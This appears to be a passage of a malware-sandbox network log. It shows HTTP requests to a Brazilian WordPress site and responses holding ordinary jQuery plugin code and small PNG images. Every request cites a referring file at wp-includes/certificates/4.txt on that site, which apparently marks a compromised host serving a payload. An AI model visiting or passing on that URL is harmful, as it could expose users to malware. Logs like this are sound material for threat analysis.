Aug 16, 2022 11:06:08.902045965 CEST	2710	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 66 3d 30 3e 62 3f 64 2e 67 65 74 54 61 72 67 65 74 28 22 6e 65 78 74 22 29 3a 64 2e 67 65 74 54 61 72 67 65 74 28 22 70 72 65 76 22 29 3b Data Ascii: unction(a,b){a.preventDefault();var f=0>b?d.getTarget("next"):d.getTarget("prev");d.flexAnimate(f,d.vars.pauseOnAction)}),d.vars.pausePlay&&p.pausePlay.setup(),d.vars.slideshow&&d.vars.pauseInvisible&&p.pauseInvisible.init(),d.vars.slideshow&&
Aug 16, 2022 11:06:08.902111053 CEST	2711	IN	Data Raw: 7c 28 64 2e 64 69 72 65 63 74 69 6f 6e 3d 64 2e 63 75 72 72 65 6e 74 49 74 65 6d 3c 65 3f 22 6e 65 78 74 22 3a 22 70 72 65 76 22 2c 64 2e 66 6c 65 78 41 6e 69 6d 61 74 65 28 65 2c 64 2e 76 61 72 73 2e 70 61 75 73 65 4f 6e 41 63 74 69 6f 6e 2c 21 Data Ascii: \|(d.direction=d.currentItem<e?"next":"prev",d.flexAnimate(e,d.vars.pauseOnAction,!1,!0,!0))})})):d.slides.on(h,function(b){b.preventDefault();var c=a(this),f=c.index(),g=c.offset().left-a(d).scrollLeft();0>=g&&c.hasClass(e+"active-slide")?d.fl
Aug 16, 2022 11:06:08.902172089 CEST	2713	IN	Data Raw: 72 20 63 3d 61 28 74 68 69 73 29 2c 66 3d 64 2e 63 6f 6e 74 72 6f 6c 4e 61 76 2e 69 6e 64 65 78 28 63 29 3b 63 2e 68 61 73 43 6c 61 73 73 28 65 2b 22 61 63 74 69 76 65 22 29 7c 7c 28 64 2e 64 69 72 65 63 74 69 6f 6e 3d 66 3e 64 2e 63 75 72 72 65 Data Ascii: r c=a(this),f=d.controlNav.index(c);c.hasClass(e+"active")\|\|(d.direction=f>d.currentSlide?"next":"prev",d.flexAnimate(f,d.vars.pauseOnAction))}""===i&&(i=b.type),p.setToClearWatchedEvent()})},setupManual:function(){d.controlNav=d.manualControl
Aug 16, 2022 11:06:08.902232885 CEST	2714	IN	Data Raw: 6e 74 61 69 6e 65 72 29 2e 61 70 70 65 6e 64 28 62 29 2c 64 2e 64 69 72 65 63 74 69 6f 6e 4e 61 76 3d 61 28 22 2e 22 2b 65 2b 22 64 69 72 65 63 74 69 6f 6e 2d 6e 61 76 20 6c 69 20 61 22 2c 64 2e 63 6f 6e 74 72 6f 6c 73 43 6f 6e 74 61 69 6e 65 72 Data Ascii: ntainer).append(b),d.directionNav=a("."+e+"direction-nav li a",d.controlsContainer)):(d.append(b),d.directionNav=a("."+e+"direction-nav li a",d)),p.directionNav.update(),d.directionNav.bind(h,function(b){b.preventDefault();var c;(""===i\|\|i===b
Aug 16, 2022 11:06:08.902290106 CEST	2715	IN	Data Raw: 2c 22 22 3d 3d 3d 69 26 26 28 69 3d 62 2e 74 79 70 65 29 2c 70 2e 73 65 74 54 6f 43 6c 65 61 72 57 61 74 63 68 65 64 45 76 65 6e 74 28 29 7d 29 7d 2c 75 70 64 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 22 70 6c 61 79 22 3d 3d 3d 61 3f 64 2e Data Ascii: ,""===i&&(i=b.type),p.setToClearWatchedEvent()})},update:function(a){"play"===a?d.pausePlay.removeClass(e+"pause").addClass(e+"play").html(d.vars.playText):d.pausePlay.removeClass(e+"play").addClass(e+"pause").html(d.vars.pauseText)}},touch:fu
Aug 16, 2022 11:06:08.902348042 CEST	2717	IN	Data Raw: 74 68 2e 61 62 73 28 6b 29 3e 67 2f 32 29 3f 64 2e 66 6c 65 78 41 6e 69 6d 61 74 65 28 6d 2c 64 2e 76 61 72 73 2e 70 61 75 73 65 4f 6e 41 63 74 69 6f 6e 29 3a 6e 7c 7c 64 2e 66 6c 65 78 41 6e 69 6d 61 74 65 28 64 2e 63 75 72 72 65 6e 74 53 6c 69 Data Ascii: th.abs(k)>g/2)?d.flexAnimate(m,d.vars.pauseOnAction):n\|\|d.flexAnimate(d.currentSlide,d.vars.pauseOnAction,!0)}b.removeEventListener("touchend",t,!1),a=null,c=null,h=null,e=null}function u(a){a.stopPropagation(),d.animating?a.preventDefault():(
Aug 16, 2022 11:06:08.902410984 CEST	2718	IN	Data Raw: 6f 6e 29 3a 6e 7c 7c 64 2e 66 6c 65 78 41 6e 69 6d 61 74 65 28 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 2c 64 2e 76 61 72 73 2e 70 61 75 73 65 4f 6e 41 63 74 69 6f 6e 2c 21 30 29 7d 61 3d 6e 75 6c 6c 2c 63 3d 6e 75 6c 6c 2c 68 3d 6e 75 6c 6c 2c Data Ascii: on):n\|\|d.flexAnimate(d.currentSlide,d.vars.pauseOnAction,!0)}a=null,c=null,h=null,e=null,q=0}}var a,c,e,g,h,i,j=!1,o=0,p=0,q=0;f?(b.style.msTouchAction="none",b._gesture=new MSGesture,b._gesture.target=b,b.addEventListener("MSPointerDown",u,!1
Aug 16, 2022 11:06:08.902466059 CEST	2720	IN	Data Raw: 69 64 64 65 6e 22 69 6e 20 64 6f 63 75 6d 65 6e 74 26 26 28 70 2e 70 61 75 73 65 49 6e 76 69 73 69 62 6c 65 2e 76 69 73 50 72 6f 70 3d 61 5b 62 5d 2b 22 48 69 64 64 65 6e 22 29 3b 69 66 28 70 2e 70 61 75 73 65 49 6e 76 69 73 69 62 6c 65 2e 76 69 Data Ascii: idden"in document&&(p.pauseInvisible.visProp=a[b]+"Hidden");if(p.pauseInvisible.visProp){var c=p.pauseInvisible.visProp.replace(/[H\|h]idden/,"")+"visibilitychange";document.addEventListener(c,function(){p.pauseInvisible.isHidden()?d.startTimeo
Aug 16, 2022 11:06:09.122073889 CEST	2749	IN	Data Raw: 63 6f 6e 74 72 6f 6c 4e 61 76 2e 61 63 74 69 76 65 28 29 2c 6d 7c 7c 64 2e 73 6c 69 64 65 73 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 65 2b 22 61 63 74 69 76 65 2d 73 6c 69 64 65 22 29 2e 65 71 28 62 29 2e 61 64 64 43 6c 61 73 73 28 65 2b 22 61 63 Data Ascii: controlNav.active(),m\|\|d.slides.removeClass(e+"active-slide").eq(b).addClass(e+"active-slide"),d.atEnd=0===b\|\|b===d.last,d.vars.directionNav&&p.directionNav.update(),b===d.last&&(d.vars.end(d),d.vars.animationLoop\|\|d.pause()),n)g?(d.slides.eq(
Aug 16, 2022 11:06:09.124037981 CEST	2757	OUT	GET /wp-content/plugins/gtranslate/switcher.png HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:06:09.337841988 CEST	2815	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:03:45 GMT Server: Apache ETag: "a50db1-cf-5c93d3867844d" Last-Modified: Tue, 10 Aug 2021 23:54:20 GMT Content-Length: 207 Content-Type: image/png Cache-Control: No-Cache Pragma: no-cache X-Varnish: 23437431 16636670 Age: 144 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 0a 00 00 00 13 08 06 00 00 00 a9 eb 9c ee 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 16 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 30 31 2f 30 39 2f 31 30 dc b9 92 1f 00 00 00 1c 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 46 69 72 65 77 6f 72 6b 73 20 43 53 34 06 b2 d3 a0 00 00 00 27 49 44 41 54 28 91 63 7c f7 ee dd 7f 06 22 00 0b 23 23 23 31 ea 86 84 42 26 a2 54 d1 c4 ea 51 85 d4 51 48 fd 28 04 00 35 2f 04 3f b8 1b 51 2d 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsBIT\|dpHYs~tEXtCreation Time01/09/10tEXtSoftwareAdobe Fireworks CS4'IDAT(c\|"###1B&TQQH(5/?Q-IENDB`
Aug 16, 2022 11:06:09.338757038 CEST	2816	OUT	GET /wp-content/plugins/gtranslate/arrow_down.png HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:06:09.553827047 CEST	2940	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:03:45 GMT Server: Apache ETag: "a50de3-d0-5c93d38684b39" Last-Modified: Tue, 10 Aug 2021 23:54:20 GMT Content-Length: 208 Content-Type: image/png Cache-Control: No-Cache Pragma: no-cache X-Varnish: 23437432 23825304 Age: 144 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 05 00 00 00 03 08 06 00 00 00 5b 36 c5 f8 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 1c 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 46 69 72 65 77 6f 72 6b 73 20 43 53 34 06 b2 d3 a0 00 00 00 16 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 30 31 2f 30 39 2f 31 30 dc b9 92 1f 00 00 00 28 49 44 41 54 08 99 5d c8 c1 0d 00 30 0c 83 40 a7 13 b3 89 47 a6 af 48 55 79 9d 98 b6 e6 eb 00 f3 0e 60 a2 46 4d 5b d7 17 94 fd 13 f2 5b d4 0b 67 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR[6sBIT\|dpHYs~tEXtSoftwareAdobe Fireworks CS4tEXtCreation Time01/09/10(IDAT]0@GHUy`FM[[gIENDB`
Aug 16, 2022 11:06:09.651668072 CEST	2950	OUT	GET /wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:06:09.865969896 CEST	3176	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:31 GMT Server: Apache ETag: "a4f9ec-6fd-58592ebe62040" Last-Modified: Tue, 02 Apr 2019 21:35:53 GMT Content-Length: 1789 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 23437433 16636764 Age: 38 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 2f 2f 20 4f 57 4c 20 43 61 72 6f 75 73 65 6c 20 69 6e 69 74 2e 0a 09 63 68 65 72 72 79 50 6c 75 67 69 6e 43 61 72 6f 75 73 65 6c 49 6e 69 74 28 29 3b 0a 0a 09 2f 2f 20 46 75 6c 6c 2d 77 69 64 74 68 20 62 6c 6f 63 6b 20 77 69 74 68 20 6c 65 66 74 2d 72 69 67 68 74 20 70 61 64 64 69 6e 67 73 2e 0a 09 6a 51 75 65 72 79 28 27 2e 63 6f 6e 74 65 6e 74 5f 62 6f 78 2e 66 75 6c 6c 2d 77 69 64 74 68 27 29 2e 77 72 61 70 49 6e 6e 65 72 28 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 75 6c 6c 2d 62 6c 6f 63 6b 2d 77 72 61 70 22 3e 3c 2f 64 69 76 3e 27 29 3b 0a 09 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 2e 72 65 73 69 7a 65 28 20 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 63 6f 6e 74 65 6e 42 6f 78 52 65 73 69 7a 65 46 75 6e 63 74 69 6f 6e 28 29 3b 0a 09 7d 29 3b 0a 0a 09 63 6f 6e 74 65 6e 42 6f 78 52 65 73 69 7a 65 46 75 6e 63 74 69 6f 6e 28 29 3b 0a 09 66 75 6e 63 74 69 6f 6e 20 63 6f 6e 74 65 6e 42 6f 78 52 65 73 69 7a 65 46 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 76 61 72 20 77 69 64 74 68 5f 6f 66 5f 76 69 65 77 70 6f 72 74 20 3d 20 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 2e 77 69 64 74 68 28 29 2c 0a 09 09 09 68 61 6c 66 5f 77 69 64 74 68 5f 6f 66 5f 76 69 65 77 70 6f 72 74 20 3d 20 77 69 64 74 68 5f 6f 66 5f 76 69 65 77 70 6f 72 74 20 2f 20 32 2c 0a 09 09 09 77 69 64 74 68 5f 6f 66 5f 63 6f 6e 74 61 69 6e 65 72 20 3d 20 6a 51 75 65 72 79 28 27 2e 63 6f 6e 74 65 6e 74 2d 68 6f 6c 64 65 72 20 3e 20 2e 63 6f 6e 74 61 69 6e 65 72 27 29 2e 77 69 64 74 68 28 29 3b 0a 0a 09 09 6a 51 75 65 72 79 28 27 2e 63 6f 6e 74 65 6e 74 5f 62 6f 78 2e 66 75 6c 6c 2d 77 69 64 74 68 27 29 2e 77 69 64 74 68 28 77 69 64 74 68 5f 6f 66 5f 63 6f 6e 74 61 69 6e 65 72 29 3b 0a 09 09 6a 51 75 65 72 79 28 27 2e 63 6f 6e 74 65 6e 74 5f 62 6f 78 2e 66 75 6c 6c 2d 77 69 64 74 68 27 29 2e 63 73 73 28 7b 27 70 61 64 64 69 6e 67 2d 6c 65 66 74 27 3a 20 68 61 6c 66 5f 77 69 64 74 68 5f 6f 66 5f 76 69 65 77 70 6f 72 74 2b 27 70 78 27 2c 20 27 70 61 64 64 69 6e 67 2d 72 69 67 68 74 27 3a 20 68 61 6c 66 5f 77 69 64 74 68 5f 6f 66 5f 76 69 65 77 70 6f 72 74 2b 27 70 78 27 2c 20 27 6d 61 72 67 69 6e 2d 6c 65 66 74 27 3a 20 27 2d 27 2b 68 61 6c 66 5f 77 69 64 74 68 5f 6f 66 5f 76 69 65 77 70 6f 72 74 2b 27 70 78 27 7d 29 3b 0a 09 09 6a 51 75 65 72 79 28 27 2e 66 75 6c 6c 2d 62 6c 6f 63 6b 2d 77 72 61 70 27 29 2e 77 69 64 74 68 28 77 69 64 74 68 5f 6f 66 5f 63 6f 6e 74 61 69 6e 65 72 29 3b 0a 09 7d 0a 7d 29 3b 0a 0a 66 75 6e 63 74 69 6f 6e 20 63 68 65 72 72 79 50 6c 75 67 69 6e 43 61 72 6f 75 73 65 6c 49 6e 69 74 28 29 20 7b 0a 09 6a 51 75 65 72 79 28 27 64 69 76 5b 69 64 5e 3d 22 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 2d 22 5d 27 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 76 61 72 20 63 61 72 6f 75 73 65 6c 20 3d 20 6a 51 75 65 72 79 28 74 68 69 73 29 2c 0a 09 09 09 61 75 74 6f 5f 70 6c 61 79 20 3d Data Ascii: jQuery(document).ready(function(){// OWL Carousel init.cherryPluginCarouselInit();// Full-width block with left-right paddings.jQuery('.content_box.full-width').wrapInner('<div class="full-block-wrap"></div>');jQuery(window).resize( function(){contenBoxResizeFunction();});contenBoxResizeFunction();function contenBoxResizeFunction(){var width_of_viewport = jQuery(window).width(),half_width_of_viewport = width_of_viewport / 2,width_of_container = jQuery('.content-holder > .container').width();jQuery('.content_box.full-width').width(width_of_container);jQuery('.content_box.full-width').css({'padding-left': half_width_of_viewport+'px', 'padding-right': half_width_of_viewport+'px', 'margin-left': '-'+half_width_of_viewport+'px'});jQuery('.full-block-wrap').width(width_of_container);}});function cherryPluginCarouselInit() {jQuery('div[id^="owl-carousel-"]').each(function(){var carousel = jQuery(this),auto_play =
Aug 16, 2022 11:06:09.884367943 CEST	3177	OUT	GET /wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:06:10.102325916 CEST	3453	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:31 GMT Server: Apache ETag: "a4f8b7-570-58592c72eb640" Last-Modified: Tue, 02 Apr 2019 21:25:37 GMT Content-Length: 1392 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 23437434 16636766 Age: 38 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 21 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 31 20 42 72 61 6e 64 6f 6e 20 41 61 72 6f 6e 20 28 68 74 74 70 3a 2f 2f 62 72 61 6e 64 6f 6e 61 61 72 6f 6e 2e 6e 65 74 29 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 4c 49 43 45 4e 53 45 2e 74 78 74 29 2e 0a 20 2a 0a 20 2a 20 54 68 61 6e 6b 73 20 74 6f 3a 20 68 74 74 70 3a 2f 2f 61 64 6f 6d 61 73 2e 6f 72 67 2f 6a 61 76 61 73 63 72 69 70 74 2d 6d 6f 75 73 65 2d 77 68 65 65 6c 2f 20 66 6f 72 20 73 6f 6d 65 20 70 6f 69 6e 74 65 72 73 2e 0a 20 2a 20 54 68 61 6e 6b 73 20 74 6f 3a 20 4d 61 74 68 69 61 73 20 42 61 6e 6b 28 68 74 74 70 3a 2f 2f 77 77 77 2e 6d 61 74 68 69 61 73 2d 62 61 6e 6b 2e 64 65 29 20 66 6f 72 20 61 20 73 63 6f 70 65 20 62 75 67 20 66 69 78 2e 0a 20 2a 20 54 68 61 6e 6b 73 20 74 6f 3a 20 53 65 61 6d 75 73 20 4c 65 61 68 79 20 66 6f 72 20 61 64 64 69 6e 67 20 64 65 6c 74 61 58 20 61 6e 64 20 64 65 6c 74 61 59 0a 20 2a 0a 20 2a 20 56 65 72 73 69 6f 6e 3a 20 33 2e 30 2e 36 0a 20 2a 20 0a 20 2a 20 52 65 71 75 69 72 65 73 3a 20 31 2e 32 2e 32 2b 0a 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 64 28 62 29 7b 76 61 72 20 63 3d 62 7c 7c 77 69 6e 64 6f 77 2e 65 76 65 6e 74 2c 64 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 2c 31 29 2c 65 3d 30 2c 66 3d 21 30 2c 67 3d 30 2c 68 3d 30 3b 72 65 74 75 72 6e 20 62 3d 61 2e 65 76 65 6e 74 2e 66 69 78 28 63 29 2c 62 2e 74 79 70 65 3d 22 6d 6f 75 73 65 77 68 65 65 6c 22 2c 63 2e 77 68 65 65 6c 44 65 6c 74 61 26 26 28 65 3d 63 2e 77 68 65 65 6c 44 65 6c 74 61 2f 31 32 30 29 2c 63 2e 64 65 74 61 69 6c 26 26 28 65 3d 2d 63 2e 64 65 74 61 69 6c 2f 33 29 2c 68 3d 65 2c 63 2e 61 78 69 73 21 3d 3d 75 6e 64 65 66 69 6e 65 64 26 26 63 2e 61 78 69 73 3d 3d 3d 63 2e 48 4f 52 49 5a 4f 4e 54 41 4c 5f 41 58 49 53 26 26 28 68 3d 30 2c 67 3d 2d 31 2a 65 29 2c 63 2e 77 68 65 65 6c 44 65 6c 74 61 59 21 3d 3d 75 6e 64 65 66 69 6e 65 64 26 26 28 68 3d 63 2e 77 68 65 65 6c 44 65 6c 74 61 59 2f 31 32 30 29 2c 63 2e 77 68 65 65 6c 44 65 6c 74 61 58 21 3d 3d 75 6e 64 65 66 69 6e 65 64 26 26 28 67 3d 2d 31 2a 63 2e 77 68 65 65 6c 44 65 6c 74 61 58 2f 31 32 30 29 2c 64 2e 75 6e 73 68 69 66 74 28 62 2c 65 2c 67 2c 68 29 2c 28 61 2e 65 76 65 6e 74 2e 64 69 73 70 61 74 63 68 7c 7c 61 2e 65 76 65 6e 74 2e 68 61 6e 64 6c 65 29 2e 61 70 70 6c 79 28 74 68 69 73 2c 64 29 7d 76 61 72 20 62 3d 5b 22 44 4f 4d 4d 6f 75 73 65 53 63 72 6f 6c 6c 22 2c 22 6d 6f 75 73 65 77 68 65 65 6c 22 5d 3b 69 66 28 61 2e 65 76 65 6e 74 2e 66 69 78 48 6f 6f 6b 73 29 66 6f 72 28 76 61 72 20 63 3d 62 2e 6c 65 6e 67 74 68 3b 63 3b 29 61 2e 65 76 65 6e 74 2e 66 69 78 48 6f 6f 6b 73 5b 62 5b 2d 2d 63 5d 5d 3d 61 2e 65 76 65 6e 74 2e 6d 6f 75 73 65 48 6f 6f 6b 73 3b 61 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2e 6d 6f 75 73 65 77 68 65 65 6c 3d 7b 73 65 74 75 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 Data Ascii: /! Copyright (c) 2011 Brandon Aaron (http://brandonaaron.net) Licensed under the MIT License (LICENSE.txt). * * Thanks to: http://adomas.org/javascript-mouse-wheel/ for some pointers. * Thanks to: Mathias Bank(http://www.mathias-bank.de) for a scope bug fix. * Thanks to: Seamus Leahy for adding deltaX and deltaY * * Version: 3.0.6 * * Requires: 1.2.2+ /(function(a){function d(b){var c=b\|\|window.event,d=[].slice.call(arguments,1),e=0,f=!0,g=0,h=0;return b=a.event.fix(c),b.type="mousewheel",c.wheelDelta&&(e=c.wheelDelta/120),c.detail&&(e=-c.detail/3),h=e,c.axis!==undefined&&c.axis===c.HORIZONTAL_AXIS&&(h=0,g=-1e),c.wheelDeltaY!==undefined&&(h=c.wheelDeltaY/120),c.wheelDeltaX!==undefined&&(g=-1*c.wheelDeltaX/120),d.unshift(b,e,g,h),(a.event.dispatch\|\|a.event.handle).apply(this,d)}var b=["DOMMouseScroll","mousewheel"];if(a.event.fixHooks)for(var c=b.length;c;)a.event.fixHooks[b[--c]]=a.event.mouseHooks;a.event.special.mousewheel={setup:function(){i
Aug 16, 2022 11:06:10.104960918 CEST	3454	OUT	GET /wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:06:10.317986012 CEST	3682	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:32 GMT Server: Apache ETag: "a4f8bb-3b2-58592c72eb640" Last-Modified: Tue, 02 Apr 2019 21:25:37 GMT Content-Length: 946 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 23437435 16636768 Age: 38 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 20 6a 71 75 65 72 79 2e 73 69 6d 70 6c 72 2e 73 6d 6f 6f 74 68 73 63 72 6f 6c 6c 20 76 65 72 73 69 6f 6e 20 31 2e 30 20 63 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 32 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 73 69 6d 6f 76 2f 73 69 6d 70 6c 72 2d 73 6d 6f 6f 74 68 73 63 72 6f 6c 6c 20 6c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 2a 2f 0a 0a 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0a 20 20 20 20 69 66 28 21 64 65 76 69 63 65 2e 6d 6f 62 69 6c 65 28 29 20 26 26 20 21 64 65 76 69 63 65 2e 74 61 62 6c 65 74 28 29 29 7b 0a 20 20 20 20 20 20 20 20 24 2e 73 72 53 6d 6f 6f 74 68 73 63 72 6f 6c 6c 28 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 65 70 3a 31 35 30 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 70 65 65 64 3a 38 30 30 0a 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 7d 0a 7d 29 3b 0a 0a 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 65 2e 73 72 53 6d 6f 6f 74 68 73 63 72 6f 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 70 6c 61 74 66 6f 72 6d 20 3d 20 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 70 6c 61 74 66 6f 72 6d 3b 20 69 66 20 28 28 70 6c 61 74 66 6f 72 6d 20 3d 3d 3d 20 27 4d 61 63 49 6e 74 65 6c 27 20 7c 7c 20 70 6c 61 74 66 6f 72 6d 20 3d 3d 3d 20 27 4d 61 63 50 50 43 27 29 29 7b 72 65 74 75 72 6e 20 66 61 6c 73 65 7d 3b 20 76 61 72 20 6e 3d 65 2e 65 78 74 65 6e 64 28 7b 73 74 65 70 3a 31 37 30 2c 73 70 65 65 64 3a 31 30 30 30 2c 65 61 73 65 3a 22 73 77 69 6e 67 22 7d 2c 74 7c 7c 7b 7d 29 3b 76 61 72 20 72 3d 65 28 77 69 6e 64 6f 77 29 2c 69 3d 65 28 64 6f 63 75 6d 65 6e 74 29 2c 73 3d 30 2c 6f 3d 6e 2e 73 74 65 70 2c 75 3d 6e 2e 73 70 65 65 64 2c 61 3d 72 2e 68 65 69 67 68 74 28 29 2c 66 3d 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 69 6e 64 65 78 4f 66 28 22 41 70 70 6c 65 57 65 62 4b 69 74 22 29 21 3d 3d 2d 31 3f 65 28 22 62 6f 64 79 22 29 3a 65 28 22 68 74 6d 6c 22 29 2c 6c 3d 66 61 6c 73 65 3b 65 28 22 62 6f 64 79 22 29 2e 6d 6f 75 73 65 77 68 65 65 6c 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 6c 3d 74 72 75 65 3b 69 66 28 74 3c 30 29 73 3d 73 2b 61 3e 3d 69 2e 68 65 69 67 68 74 28 29 3f 73 3a 73 2b 3d 6f 3b 65 6c 73 65 20 73 3d 73 3c 3d 30 3f 30 3a 73 2d 3d 6f 3b 66 2e 73 74 6f 70 28 29 2e 61 6e 69 6d 61 74 65 28 7b 73 63 72 6f 6c 6c 54 6f 70 3a 73 7d 2c 75 2c 6e 2e 65 61 73 65 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 3d 66 61 6c 73 65 7d 29 3b 72 65 74 75 72 6e 20 66 61 6c 73 65 7d 29 3b 72 2e 6f 6e 28 22 72 65 73 69 7a 65 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 3d 72 2e 68 65 69 67 68 74 28 29 7d 29 2e 6f 6e 28 22 73 63 72 6f 6c 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 6c 29 73 3d 72 2e 73 63 72 6f 6c 6c 54 6f 70 28 29 7d 29 7d 7d 29 28 6a 51 75 65 72 79 29 3b 0a Data Ascii: /* jquery.simplr.smoothscroll version 1.0 copyright (c) 2012 https://github.com/simov/simplr-smoothscroll licensed under MIT */jQuery(document).ready(function($) { if(!device.mobile() && !device.tablet()){ $.srSmoothscroll({ step:150, speed:800 }); }});;(function(e){"use strict";e.srSmoothscroll=function(t){var platform = window.navigator.platform; if ((platform === 'MacIntel' \|\| platform === 'MacPPC')){return false}; var n=e.extend({step:170,speed:1000,ease:"swing"},t\|\|{});var r=e(window),i=e(document),s=0,o=n.step,u=n.speed,a=r.height(),f=navigator.userAgent.indexOf("AppleWebKit")!==-1?e("body"):e("html"),l=false;e("body").mousewheel(function(e,t){l=true;if(t<0)s=s+a>=i.height()?s:s+=o;else 